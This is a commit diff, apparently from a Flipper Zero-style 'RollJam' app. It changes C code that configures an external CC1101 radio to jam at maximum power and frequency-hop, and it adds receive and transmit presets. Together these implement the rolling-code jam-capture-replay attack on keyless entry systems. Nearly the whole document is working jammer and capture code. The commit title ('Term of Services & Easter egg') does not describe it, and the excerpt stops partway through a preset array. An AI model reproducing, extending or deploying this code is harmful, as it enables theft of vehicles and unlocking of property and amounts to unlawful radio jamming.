Added Term of Services & Easter egg

applications/main/RollJam/helpers/rolljam_cc1101_ext.c

@@ -5,11 +5,10 @@
 #include <furi_hal_power.h>
 
 // ============================================================
-// 5V OTG power for external modules (e.g. Rabbit Lab Flux Capacitor)
+// 5V OTG power
 // ============================================================
 
-static bool otg_was_enabled = false;
-
+static bool otg_was_enabled   = false;
 static bool use_flux_capacitor = false;
 
 void rolljam_ext_set_flux_capacitor(bool enabled) {
@@ -33,9 +32,6 @@ static void rolljam_ext_power_off(void) {
     }
 }
 
-// ============================================================
-// GPIO Pins
-// ============================================================
 static const GpioPin* pin_mosi = &gpio_ext_pa7;
 static const GpioPin* pin_miso = &gpio_ext_pa6;
 static const GpioPin* pin_cs   = &gpio_ext_pa4;
@@ -97,30 +93,43 @@ static const GpioPin* pin_amp  = &gpio_ext_pc3;
 #define MARC_TX      0x13
 
 // ============================================================
-// Bit-bang SPI
+// Band calibration
 // ============================================================
 
+typedef struct {
+    uint32_t min_freq;
+    uint32_t max_freq;
+    uint8_t fscal3;
+    uint8_t fscal2;
+    uint8_t fscal1;
+    uint8_t fscal0;
+} ExtBandCal;
+
+static const ExtBandCal ext_band_cals[] = {
+    { 299000000, 348000000, 0xEA, 0x2A, 0x00, 0x1F },
+    { 386000000, 464000000, 0xE9, 0x2A, 0x00, 0x1F },
+    { 778000000, 928000000, 0xEA, 0x2A, 0x00, 0x11 },
+};
+#define EXT_BAND_CAL_COUNT (sizeof(ext_band_cals) / sizeof(ext_band_cals[0]))
+
+static const ExtBandCal* ext_get_band_cal(uint32_t freq) {
+    for(size_t i = 0; i < EXT_BAND_CAL_COUNT; i++) {
+        if(freq >= ext_band_cals[i].min_freq && freq <= ext_band_cals[i].max_freq)
+            return &ext_band_cals[i];
+    }
+    return &ext_band_cals[1];
+}
+
 static inline void spi_delay(void) {
-    __NOP(); __NOP(); __NOP(); __NOP();
-    __NOP(); __NOP(); __NOP(); __NOP();
-    __NOP(); __NOP(); __NOP(); __NOP();
-    __NOP(); __NOP(); __NOP(); __NOP();
+    for(int i = 0; i < 16; i++) __NOP();
 }
 
-static inline void cs_lo(void) {
-    furi_hal_gpio_write(pin_cs, false);
-    spi_delay(); spi_delay();
-}
-
-static inline void cs_hi(void) {
-    spi_delay();
-    furi_hal_gpio_write(pin_cs, true);
-    spi_delay(); spi_delay();
-}
+static inline void cs_lo(void) { furi_hal_gpio_write(pin_cs, false); spi_delay(); }
+static inline void cs_hi(void) { spi_delay(); furi_hal_gpio_write(pin_cs, true); spi_delay(); }
 
 static bool wait_miso(uint32_t us) {
     CoreDebug->DEMCR |= CoreDebug_DEMCR_TRCENA_Msk;
-    DWT->CTRL |= DWT_CTRL_CYCCNTENA_Msk;
+    DWT->CTRL        |= DWT_CTRL_CYCCNTENA_Msk;
     uint32_t s = DWT->CYCCNT;
     uint32_t t = (SystemCoreClock / 1000000) * us;
     while(furi_hal_gpio_read(pin_miso)) {
@@ -154,20 +163,10 @@ static uint8_t cc_strobe(uint8_t cmd) {
 static void cc_write(uint8_t a, uint8_t v) {
     cs_lo();
     if(!wait_miso(5000)) { cs_hi(); return; }
-    spi_byte(a);
-    spi_byte(v);
+    spi_byte(a); spi_byte(v);
     cs_hi();
 }
 
-static uint8_t cc_read(uint8_t a) {
-    cs_lo();
-    if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
-    spi_byte(a | 0x80);
-    uint8_t v = spi_byte(0x00);
-    cs_hi();
-    return v;
-}
-
 static uint8_t cc_read_status(uint8_t a) {
     cs_lo();
     if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
@@ -185,10 +184,6 @@ static void cc_write_burst(uint8_t a, const uint8_t* d, uint8_t n) {
     cs_hi();
 }
 
-// ============================================================
-// Helpers
-// ============================================================
-
 static bool cc_reset(void) {
     cs_hi(); furi_delay_us(30);
     cs_lo(); furi_delay_us(30);
@@ -210,13 +205,8 @@ static bool cc_check(void) {
     return (v == 0x14 || v == 0x04 || v == 0x03);
 }
 
-static uint8_t cc_state(void) {
-    return cc_read_status(CC_MARCSTATE) & 0x1F;
-}
-
-static uint8_t cc_txbytes(void) {
-    return cc_read_status(CC_TXBYTES) & 0x7F;
-}
+static uint8_t cc_state(void) { return cc_read_status(CC_MARCSTATE) & 0x1F; }
+static uint8_t cc_txbytes(void) { return cc_read_status(CC_TXBYTES) & 0x7F; }
 
 static void cc_idle(void) {
     cc_strobe(CC_SIDLE);
@@ -229,98 +219,14 @@ static void cc_idle(void) {
 static void cc_set_freq(uint32_t f) {
     uint32_t r = (uint32_t)(((uint64_t)f << 16) / 26000000ULL);
     cc_write(CC_FREQ2, (r >> 16) & 0xFF);
-    cc_write(CC_FREQ1, (r >> 8) & 0xFF);
-    cc_write(CC_FREQ0, r & 0xFF);
+    cc_write(CC_FREQ1, (r >>  8) & 0xFF);
+    cc_write(CC_FREQ0,  r        & 0xFF);
 }
 
 static bool cc_configure_jam(uint32_t freq) {
-    FURI_LOG_I(TAG, "EXT: Config OOK noise jam at %lu Hz", freq);
+    const ExtBandCal* cal = ext_get_band_cal(freq);
+    FURI_LOG_I(TAG, "EXT: Config OOK jam at %lu Hz", freq);
     cc_idle();
-
-    cc_write(CC_IOCFG0, 0x02);
-    cc_write(CC_IOCFG2, 0x2F);
-
-    // Fixed packet length, 255 bytes per packet
-    cc_write(CC_PKTCTRL0, 0x00); // Fixed length, no CRC, no whitening
-    cc_write(CC_PKTCTRL1, 0x00); // No address check
-    cc_write(CC_PKTLEN, 0xFF);   // 255 bytes per packet
-
-    // FIFO threshold: alert when TX FIFO has space for 33+ bytes
-    cc_write(CC_FIFOTHR, 0x07);
-
-    // No sync word - just raw data
-    cc_write(CC_SYNC1, 0x00);
-    cc_write(CC_SYNC0, 0x00);
-
-    // Frequency
-    cc_set_freq(freq);
-
-    cc_write(CC_FSCTRL1, 0x06);
-    cc_write(CC_FSCTRL0, 0x00);
-
-    // CRITICAL: LOW data rate to prevent FIFO underflow
-    // 1.2 kBaud: DRATE_E=5, DRATE_M=67
-    // At this rate, 64 bytes = 64*8/1200 = 426ms before FIFO empty
-    cc_write(CC_MDMCFG4, 0x85);  // BW=325kHz (for TX spectral output), DRATE_E=5
-    cc_write(CC_MDMCFG3, 0x43);  // DRATE_M=67 → ~1.2 kBaud
-    cc_write(CC_MDMCFG2, 0x30);  // ASK/OOK, no sync word
-    cc_write(CC_MDMCFG1, 0x00);  // No preamble
-    cc_write(CC_MDMCFG0, 0xF8);
-    cc_write(CC_DEVIATN, 0x47);
-
-    // Auto-return to TX after packet sent
-    cc_write(CC_MCSM1, 0x00);  // TXOFF -> IDLE (we manually re-enter TX)
-    cc_write(CC_MCSM0, 0x18);  // Auto-cal IDLE->TX
-
-    // MAX TX power
-    cc_write(CC_FREND0, 0x11);  // PA index 1 for OOK high
-
-    // PATABLE: ALL entries at max power
-    // Index 0 = 0x00 for OOK "0" (off)
-    // Index 1 = 0xC0 for OOK "1" (+12 dBm)
-    uint8_t pa[8] = {0x00, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0};
-    cc_write_burst(CC_PATABLE, pa, 8);
-
-    // Calibration
-    cc_write(CC_FSCAL3, 0xEA);
-    cc_write(CC_FSCAL2, 0x2A);
-    cc_write(CC_FSCAL1, 0x00);
-    cc_write(CC_FSCAL0, 0x1F);
-
-    // Test regs
-    cc_write(CC_TEST2, 0x81);
-    cc_write(CC_TEST1, 0x35);
-    cc_write(CC_TEST0, 0x09);
-
-    // Calibrate
-    cc_idle();
-    cc_strobe(CC_SCAL);
-    furi_delay_ms(2);
-    cc_idle();
-
-    // Verify configuration
-    uint8_t st = cc_state();
-    uint8_t mdm4 = cc_read(CC_MDMCFG4);
-    uint8_t mdm3 = cc_read(CC_MDMCFG3);
-    uint8_t mdm2 = cc_read(CC_MDMCFG2);
-    uint8_t pkt0 = cc_read(CC_PKTCTRL0);
-    uint8_t plen = cc_read(CC_PKTLEN);
-    uint8_t pa0  = cc_read(CC_PATABLE);
-
-    FURI_LOG_I(TAG, "EXT: MDM4=0x%02X MDM3=0x%02X MDM2=0x%02X PKT0=0x%02X PLEN=%d PA=0x%02X state=0x%02X",
-               mdm4, mdm3, mdm2, pkt0, plen, pa0, st);
-
-    return (st == MARC_IDLE);
-}
-
-// ============================================================
-// FSK jam configuration (FM238 / FM476)
-// Same low-rate FIFO approach but 2-FSK modulation
-// ============================================================
-static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
-    FURI_LOG_I(TAG, "EXT: Config FSK noise jam at %lu Hz (wide=%d)", freq, wide);
-    cc_idle();
-
     cc_write(CC_IOCFG0,   0x02);
     cc_write(CC_IOCFG2,   0x2F);
     cc_write(CC_PKTCTRL0, 0x00);
@@ -329,51 +235,115 @@ static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
     cc_write(CC_FIFOTHR,  0x07);
     cc_write(CC_SYNC1,    0x00);
     cc_write(CC_SYNC0,    0x00);
-
     cc_set_freq(freq);
-    cc_write(CC_FSCTRL1, 0x06);
-    cc_write(CC_FSCTRL0, 0x00);
-
-    // 1.2 kBaud 2-FSK, same low rate to avoid FIFO underflow
-    cc_write(CC_MDMCFG4, 0x85);  // BW=325kHz, DRATE_E=5
-    cc_write(CC_MDMCFG3, 0x43);  // DRATE_M=67 → ~1.2 kBaud
-    cc_write(CC_MDMCFG2, 0x00);  // 2-FSK, no sync word
-    cc_write(CC_MDMCFG1, 0x00);
-    cc_write(CC_MDMCFG0, 0xF8);
-
-    // Deviation: FM238=~2.4kHz, FM476=~47.6kHz
-    cc_write(CC_DEVIATN, wide ? 0x47 : 0x15);
-
-    cc_write(CC_MCSM1, 0x00);
-    cc_write(CC_MCSM0, 0x18);
-
-    // FSK: constant PA, no OOK shaping
-    cc_write(CC_FREND0, 0x10);
-    uint8_t pa[8] = {0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0};
+    cc_write(CC_FSCTRL1,  0x06);
+    cc_write(CC_FSCTRL0,  0x00);
+    cc_write(CC_MDMCFG4,  0x85);
+    cc_write(CC_MDMCFG3,  0x43);
+    cc_write(CC_MDMCFG2,  0x30);
+    cc_write(CC_MDMCFG1,  0x00);
+    cc_write(CC_MDMCFG0,  0xF8);
+    cc_write(CC_DEVIATN,  0x47);
+    cc_write(CC_MCSM1,    0x00);
+    cc_write(CC_MCSM0,    0x18);
+    cc_write(CC_FREND0,   0x11);
+    uint8_t pa[8] = {0x00,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0};
     cc_write_burst(CC_PATABLE, pa, 8);
-
-    cc_write(CC_FSCAL3, 0xEA);
-    cc_write(CC_FSCAL2, 0x2A);
-    cc_write(CC_FSCAL1, 0x00);
-    cc_write(CC_FSCAL0, 0x1F);
-    cc_write(CC_TEST2,  0x81);
-    cc_write(CC_TEST1,  0x35);
-    cc_write(CC_TEST0,  0x09);
-
+    cc_write(CC_FSCAL3,  cal->fscal3);
+    cc_write(CC_FSCAL2,  cal->fscal2);
+    cc_write(CC_FSCAL1,  cal->fscal1);
+    cc_write(CC_FSCAL0,  cal->fscal0);
+    cc_write(CC_TEST2,   0x81);
+    cc_write(CC_TEST1,   0x35);
+    cc_write(CC_TEST0,   0x09);
     cc_idle();
     cc_strobe(CC_SCAL);
     furi_delay_ms(2);
     cc_idle();
-
-    uint8_t st   = cc_state();
-    uint8_t mdm2 = cc_read(CC_MDMCFG2);
-    uint8_t dev  = cc_read(CC_DEVIATN);
-    FURI_LOG_I(TAG, "EXT FSK: MDM2=0x%02X DEV=0x%02X state=0x%02X", mdm2, dev, st);
+    uint8_t st = cc_state();
+    FURI_LOG_I(TAG, "EXT: state=0x%02X FSCAL={0x%02X,0x%02X,0x%02X,0x%02X}",
+               st, cal->fscal3, cal->fscal2, cal->fscal1, cal->fscal0);
     return (st == MARC_IDLE);
 }
 
+static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
+    const ExtBandCal* cal = ext_get_band_cal(freq);
+    FURI_LOG_I(TAG, "EXT: Config FSK jam at %lu Hz (wide=%d)", freq, wide);
+    cc_idle();
+    cc_write(CC_IOCFG0,   0x02);
+    cc_write(CC_IOCFG2,   0x2F);
+    cc_write(CC_PKTCTRL0, 0x00);
+    cc_write(CC_PKTCTRL1, 0x00);
+    cc_write(CC_PKTLEN,   0xFF);
+    cc_write(CC_FIFOTHR,  0x07);
+    cc_write(CC_SYNC1,    0x00);
+    cc_write(CC_SYNC0,    0x00);
+    cc_set_freq(freq);
+    cc_write(CC_FSCTRL1,  0x06);
+    cc_write(CC_FSCTRL0,  0x00);
+    cc_write(CC_MDMCFG4,  0x85);
+    cc_write(CC_MDMCFG3,  0x43);
+    cc_write(CC_MDMCFG2,  0x00);
+    cc_write(CC_MDMCFG1,  0x00);
+    cc_write(CC_MDMCFG0,  0xF8);
+    cc_write(CC_DEVIATN,  wide ? 0x47 : 0x15);
+    cc_write(CC_MCSM1,    0x00);
+    cc_write(CC_MCSM0,    0x18);
+    cc_write(CC_FREND0,   0x10);
+    uint8_t pa[8] = {0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0};
+    cc_write_burst(CC_PATABLE, pa, 8);
+    cc_write(CC_FSCAL3,  cal->fscal3);
+    cc_write(CC_FSCAL2,  cal->fscal2);
+    cc_write(CC_FSCAL1,  cal->fscal1);
+    cc_write(CC_FSCAL0,  cal->fscal0);
+    cc_write(CC_TEST2,   0x81);
+    cc_write(CC_TEST1,   0x35);
+    cc_write(CC_TEST0,   0x09);
+    cc_idle();
+    cc_strobe(CC_SCAL);
+    furi_delay_ms(2);
+    cc_idle();
+    return (cc_state() == MARC_IDLE);
+}
+
+static void ext_gpio_init_spi_pins(void) {
+    furi_hal_gpio_init(pin_cs,   GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
+    furi_hal_gpio_write(pin_cs, true);
+    furi_hal_gpio_init(pin_sck,  GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
+    furi_hal_gpio_write(pin_sck, false);
+    furi_hal_gpio_init(pin_mosi, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
+    furi_hal_gpio_write(pin_mosi, false);
+    furi_hal_gpio_init(pin_miso, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh);
+    furi_hal_gpio_init(pin_gdo0, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh);
+}
+
+static void ext_gpio_deinit_spi_pins(void) {
+    furi_hal_gpio_init(pin_cs,   GpioModeAnalog, GpioPullNo, GpioSpeedLow);
+    furi_hal_gpio_init(pin_sck,  GpioModeAnalog, GpioPullNo, GpioSpeedLow);
+    furi_hal_gpio_init(pin_mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
+    furi_hal_gpio_init(pin_miso, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
+    furi_hal_gpio_init(pin_gdo0, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
+}
+
+void rolljam_ext_gpio_init(void) {
+    FURI_LOG_I(TAG, "EXT GPIO init (deferred to jam thread)");
+    if(use_flux_capacitor) {
+        furi_hal_gpio_init_simple(pin_amp, GpioModeOutputPushPull);
+        furi_hal_gpio_write(pin_amp, false);
+    }
+}
+
+void rolljam_ext_gpio_deinit(void) {
+    if(use_flux_capacitor) {
+        furi_hal_gpio_write(pin_amp, false);
+        furi_hal_gpio_init_simple(pin_amp, GpioModeAnalog);
+    }
+
+    FURI_LOG_I(TAG, "EXT GPIO deinit");
+}
+
 // ============================================================
-// Jam thread - FIFO-fed OOK at low data rate
+// Noise pattern & jam helpers
 // ============================================================
 
 static void jam_start_tx(const uint8_t* pattern, uint8_t len) {
@@ -387,34 +357,41 @@ static void jam_start_tx(const uint8_t* pattern, uint8_t len) {
 static int32_t jam_thread_worker(void* context) {
     RollJamApp* app = context;
 
-    bool is_fsk = (app->mod_index == ModIndex_FM238 || app->mod_index == ModIndex_FM476);
-    uint32_t jam_freq_pos = app->frequency + app->jam_offset_hz;
-    uint32_t jam_freq_neg = app->frequency - app->jam_offset_hz;
+    bool is_fsk       = (app->mod_index == ModIndex_FM238 || app->mod_index == ModIndex_FM476);
+    uint32_t freq_pos = app->frequency + app->jam_offset_hz;
+    uint32_t freq_neg = app->frequency - app->jam_offset_hz;
 
-    FURI_LOG_I(TAG, "========================================");
-    FURI_LOG_I(TAG, "JAM: Target=%lu Offset=%lu FSK=%d",
+    FURI_LOG_I(TAG, "JAM thread start: target=%lu offset=%lu FSK=%d",
                app->frequency, app->jam_offset_hz, is_fsk);
-    FURI_LOG_I(TAG, "========================================");
+
+    ext_gpio_init_spi_pins();
+    furi_delay_ms(5);
 
     if(!cc_reset()) {
-        FURI_LOG_E(TAG, "JAM: Reset failed!");
+        FURI_LOG_E(TAG, "JAM: Reset failed — CC1101 externo no conectado o mal cableado");
+        ext_gpio_deinit_spi_pins();
+        app->jamming_active = false;
         return -1;
     }
     if(!cc_check()) {
-        FURI_LOG_E(TAG, "JAM: No chip!");
+        FURI_LOG_E(TAG, "JAM: Chip no detectado");
+        ext_gpio_deinit_spi_pins();
+        app->jamming_active = false;
         return -1;
     }
 
-    bool jam_ok = false;
-    if(app->mod_index == ModIndex_FM238) {
-        jam_ok = cc_configure_jam_fsk(jam_freq_pos, false);
-    } else if(app->mod_index == ModIndex_FM476) {
-        jam_ok = cc_configure_jam_fsk(jam_freq_pos, true);
-    } else {
-        jam_ok = cc_configure_jam(jam_freq_pos);
-    }
+    bool jam_ok;
+    if(app->mod_index == ModIndex_FM238)
+        jam_ok = cc_configure_jam_fsk(freq_pos, false);
+    else if(app->mod_index == ModIndex_FM476)
+        jam_ok = cc_configure_jam_fsk(freq_pos, true);
+    else
+        jam_ok = cc_configure_jam(freq_pos);
+
     if(!jam_ok) {
-        FURI_LOG_E(TAG, "JAM: Config failed!");
+        FURI_LOG_E(TAG, "JAM: Config failed");
+        ext_gpio_deinit_spi_pins();
+        app->jamming_active = false;
         return -1;
     }
 
@@ -438,18 +415,20 @@ static int32_t jam_thread_worker(void* context) {
         jam_start_tx(noise_pattern, 62);
         st = cc_state();
         if(st != MARC_TX) {
+            FURI_LOG_E(TAG, "JAM: Cannot enter TX (state=0x%02X)", st);
             if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
-            FURI_LOG_E(TAG, "JAM: Cannot enter TX!");
+            ext_gpio_deinit_spi_pins();
+            app->jamming_active = false;
             return -1;
         }
     }
 
-    FURI_LOG_I(TAG, "JAM: *** ACTIVE ***");
+    FURI_LOG_I(TAG, "JAM: *** ACTIVE *** freq_pos=%lu", freq_pos);
 
-    uint32_t loops = 0;
+    uint32_t loops      = 0;
     uint32_t underflows = 0;
-    uint32_t refills = 0;
-    bool on_positive_offset = true;
+    uint32_t refills    = 0;
+    bool on_pos         = true;
 
     while(app->jam_thread_running) {
         loops++;
@@ -458,10 +437,8 @@ static int32_t jam_thread_worker(void* context) {
             cc_idle();
             cc_strobe(CC_SFTX);
             furi_delay_us(100);
-
-            on_positive_offset = !on_positive_offset;
-            cc_set_freq(on_positive_offset ? jam_freq_pos : jam_freq_neg);
-
+            on_pos = !on_pos;
+            cc_set_freq(on_pos ? freq_pos : freq_neg);
             cc_write_burst(CC_TXFIFO, noise_pattern, 62);
             cc_strobe(CC_STX);
             furi_delay_ms(1);
@@ -469,7 +446,6 @@ static int32_t jam_thread_worker(void* context) {
         }
 
         st = cc_state();
-
         if(st != MARC_TX) {
             underflows++;
             cc_idle();
@@ -500,69 +476,46 @@ static int32_t jam_thread_worker(void* context) {
     cc_idle();
     if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
     cc_write(CC_IOCFG2, 0x2E);
+
+    ext_gpio_deinit_spi_pins();
+
     FURI_LOG_I(TAG, "JAM: STOPPED (loops=%lu uf=%lu refills=%lu)", loops, underflows, refills);
     return 0;
 }
 
 // ============================================================
-// GPIO
-// ============================================================
-
-void rolljam_ext_gpio_init(void) {
-    FURI_LOG_I(TAG, "EXT GPIO init");
-    furi_hal_gpio_init(pin_cs, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
-    furi_hal_gpio_write(pin_cs, true);
-    furi_hal_gpio_init(pin_sck, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
-    furi_hal_gpio_write(pin_sck, false);
-    furi_hal_gpio_init(pin_mosi, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
-    furi_hal_gpio_write(pin_mosi, false);
-    furi_hal_gpio_init(pin_miso, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh);
-    furi_hal_gpio_init(pin_gdo0, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh);
-    if(use_flux_capacitor) {
-        furi_hal_gpio_init_simple(pin_amp, GpioModeOutputPushPull);
-        furi_hal_gpio_write(pin_amp, false);
-    }
-}
-
-void rolljam_ext_gpio_deinit(void) {
-    if(use_flux_capacitor) {
-        furi_hal_gpio_write(pin_amp, false);
-        furi_hal_gpio_init_simple(pin_amp, GpioModeAnalog);
-    }
-    furi_hal_gpio_init(pin_cs, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
-    furi_hal_gpio_init(pin_sck, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
-    furi_hal_gpio_init(pin_mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
-    furi_hal_gpio_init(pin_miso, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
-    furi_hal_gpio_init(pin_gdo0, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
-    FURI_LOG_I(TAG, "EXT GPIO deinit");
-}
-
-// ============================================================
-// Public
+// Public API
 // ============================================================
 
 void rolljam_jammer_start(RollJamApp* app) {
     if(app->jamming_active) return;
-    app->jam_frequency = app->frequency + app->jam_offset_hz;
-    rolljam_ext_power_on();
-    furi_delay_ms(100);
-    rolljam_ext_gpio_init();
-    furi_delay_ms(10);
+
+    app->jam_frequency     = app->frequency + app->jam_offset_hz;
     app->jam_thread_running = true;
+    app->jamming_active     = true;
+
+    rolljam_ext_power_on();
+    furi_delay_ms(50);
+
+    rolljam_ext_gpio_init();
+
     app->jam_thread = furi_thread_alloc_ex("RJ_Jam", 4096, jam_thread_worker, app);
     furi_thread_start(app->jam_thread);
-    app->jamming_active = true;
-    FURI_LOG_I(TAG, ">>> JAMMER STARTED <<<");
+
+    FURI_LOG_I(TAG, ">>> JAMMER THREAD STARTED <<<");
 }
 
 void rolljam_jammer_stop(RollJamApp* app) {
     if(!app->jamming_active) return;
+
     app->jam_thread_running = false;
     furi_thread_join(app->jam_thread);
     furi_thread_free(app->jam_thread);
     app->jam_thread = NULL;
+
     rolljam_ext_gpio_deinit();
     rolljam_ext_power_off();
     app->jamming_active = false;
+
     FURI_LOG_I(TAG, ">>> JAMMER STOPPED <<<");
 }

applications/main/RollJam/helpers/rolljam_receiver.c

@@ -21,148 +21,252 @@
 #define CC_FSCAL1   0x25
 #define CC_FSCAL0   0x26
 
-// ============================================================
-// Presets
-// ============================================================
+#define CC_PKTCTRL0  0x08
+#define CC_PKTCTRL1  0x07
+#define CC_FSCTRL1   0x0B
+#define CC_WORCTRL   0x20
+#define CC_FREND1    0x21
 
-static const uint8_t preset_ook_rx[] = {
+// OOK 650kHz
+static const uint8_t preset_ook_650_async[] = {
     CC_IOCFG0,   0x0D,
-    CC_FIFOTHR,  0x47,
-    CC_MDMCFG4,  0xD7,  // RX BW ~100kHz — wider than jam offset rejection but better sensitivity
-    CC_MDMCFG3,  0x32,
-    CC_MDMCFG2,  0x30,
-    CC_MDMCFG1,  0x00,
+    CC_FIFOTHR,  0x07,
+    CC_PKTCTRL0, 0x32,
+    CC_FSCTRL1,  0x06,
     CC_MDMCFG0,  0x00,
-    CC_DEVIATN,  0x47,
+    CC_MDMCFG1,  0x00,
+    CC_MDMCFG2,  0x30,
+    CC_MDMCFG3,  0x32,
+    CC_MDMCFG4,  0x17,
     CC_MCSM0,    0x18,
-    CC_FOCCFG,   0x16,
-    CC_AGCCTRL2, 0x43,  // MAX_DVGA_GAIN=01, MAX_LNA_GAIN=max, MAGN_TARGET=011 — more sensitive
-    CC_AGCCTRL1, 0x40,  // CS_REL_THR relative threshold
+    CC_FOCCFG,   0x18,
     CC_AGCCTRL0, 0x91,
+    CC_AGCCTRL1, 0x00,
+    CC_AGCCTRL2, 0x07,
+    CC_WORCTRL,  0xFB,
     CC_FREND0,   0x11,
-    CC_FSCAL3,   0xEA,
-    CC_FSCAL2,   0x2A,
-    CC_FSCAL1,   0x00,
-    CC_FSCAL0,   0x1F,
-    0x00, 0x00
+    CC_FREND1,   0xB6,
+    0x00,        0x00,
+    0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 };
 
-static const uint8_t preset_fsk_rx[] = {
+// OOK 270kHz
+static const uint8_t preset_ook_270_async[] = {
     CC_IOCFG0,   0x0D,
     CC_FIFOTHR,  0x47,
-    CC_MDMCFG4,  0xE7,
-    CC_MDMCFG3,  0x32,
-    CC_MDMCFG2,  0x00,
-    CC_MDMCFG1,  0x00,
+    CC_PKTCTRL0, 0x32,
+    CC_FSCTRL1,  0x06,
     CC_MDMCFG0,  0x00,
+    CC_MDMCFG1,  0x00,
+    CC_MDMCFG2,  0x30,
+    CC_MDMCFG3,  0x32,
+    CC_MDMCFG4,  0x67,
+    CC_MCSM0,    0x18,
+    CC_FOCCFG,   0x18,
+    CC_AGCCTRL0, 0x40,
+    CC_AGCCTRL1, 0x00,
+    CC_AGCCTRL2, 0x03,
+    CC_WORCTRL,  0xFB,
+    CC_FREND0,   0x11,
+    CC_FREND1,   0xB6,
+    0x00,        0x00,
+    0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+};
+
+// 2FSK Dev 2.38kHz
+static const uint8_t preset_2fsk_238_async[] = {
+    CC_IOCFG0,   0x0D,
+    CC_FIFOTHR,  0x47,
+    CC_PKTCTRL0, 0x32,
+    CC_FSCTRL1,  0x06,
+    CC_MDMCFG0,  0x00,
+    CC_MDMCFG1,  0x00,
+    CC_MDMCFG2,  0x00,
+    CC_MDMCFG3,  0x75,
+    CC_MDMCFG4,  0x57,
     CC_DEVIATN,  0x15,
     CC_MCSM0,    0x18,
     CC_FOCCFG,   0x16,
-    CC_AGCCTRL2, 0x07,
-    CC_AGCCTRL1, 0x00,
     CC_AGCCTRL0, 0x91,
+    CC_AGCCTRL1, 0x00,
+    CC_AGCCTRL2, 0x07,
+    CC_WORCTRL,  0xFB,
     CC_FREND0,   0x10,
-    CC_FSCAL3,   0xEA,
-    CC_FSCAL2,   0x2A,
-    CC_FSCAL1,   0x00,
-    CC_FSCAL0,   0x1F,
-    0x00, 0x00
+    CC_FREND1,   0xB6,
+    0x00,        0x00,
+    0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 };
 
-static const uint8_t preset_ook_tx[] = {
+// 2FSK Dev 47.6kHz
+static const uint8_t preset_2fsk_476_async[] = {
     CC_IOCFG0,   0x0D,
     CC_FIFOTHR,  0x47,
-    CC_MDMCFG4,  0x8C,
-    CC_MDMCFG3,  0x32,
-    CC_MDMCFG2,  0x30,
-    CC_MDMCFG1,  0x00,
+    CC_PKTCTRL0, 0x32,
+    CC_FSCTRL1,  0x06,
     CC_MDMCFG0,  0x00,
+    CC_MDMCFG1,  0x00,
+    CC_MDMCFG2,  0x00,
+    CC_MDMCFG3,  0x75,
+    CC_MDMCFG4,  0x57,
     CC_DEVIATN,  0x47,
     CC_MCSM0,    0x18,
     CC_FOCCFG,   0x16,
-    CC_AGCCTRL2, 0x07,
-    CC_AGCCTRL1, 0x00,
     CC_AGCCTRL0, 0x91,
+    CC_AGCCTRL1, 0x00,
+    CC_AGCCTRL2, 0x07,
+    CC_WORCTRL,  0xFB,
+    CC_FREND0,   0x10,
+    CC_FREND1,   0xB6,
+    0x00,        0x00,
+    0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+};
+
+// TX OOK
+static const uint8_t preset_ook_tx[] = {
+    CC_IOCFG0,   0x0D,
+    CC_FIFOTHR,  0x07,
+    CC_PKTCTRL0, 0x32,
+    CC_FSCTRL1,  0x06,
+    CC_MDMCFG0,  0x00,
+    CC_MDMCFG1,  0x00,
+    CC_MDMCFG2,  0x30,
+    CC_MDMCFG3,  0x32,
+    CC_MDMCFG4,  0x17,
+    CC_MCSM0,    0x18,
+    CC_FOCCFG,   0x18,
+    CC_AGCCTRL0, 0x91,
+    CC_AGCCTRL1, 0x00,
+    CC_AGCCTRL2, 0x07,
+    CC_WORCTRL,  0xFB,
     CC_FREND0,   0x11,
-    CC_FSCAL3,   0xEA,
-    CC_FSCAL2,   0x2A,
-    CC_FSCAL1,   0x00,
-    CC_FSCAL0,   0x1F,
-    0x00, 0x00
+    CC_FREND1,   0xB6,
+    0x00,        0x00,
+    0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 };
 
 static const uint8_t preset_fsk_tx_238[] = {
     CC_IOCFG0,   0x0D,
     CC_FIFOTHR,  0x47,
-    CC_MDMCFG4,  0x8C,
-    CC_MDMCFG3,  0x32,
-    CC_MDMCFG2,  0x00,
-    CC_MDMCFG1,  0x00,
+    CC_PKTCTRL0, 0x32,
+    CC_FSCTRL1,  0x06,
     CC_MDMCFG0,  0x00,
+    CC_MDMCFG1,  0x00,
+    CC_MDMCFG2,  0x00,
+    CC_MDMCFG3,  0x75,
+    CC_MDMCFG4,  0x57,
     CC_DEVIATN,  0x15,
     CC_MCSM0,    0x18,
     CC_FOCCFG,   0x16,
-    CC_AGCCTRL2, 0x07,
-    CC_AGCCTRL1, 0x00,
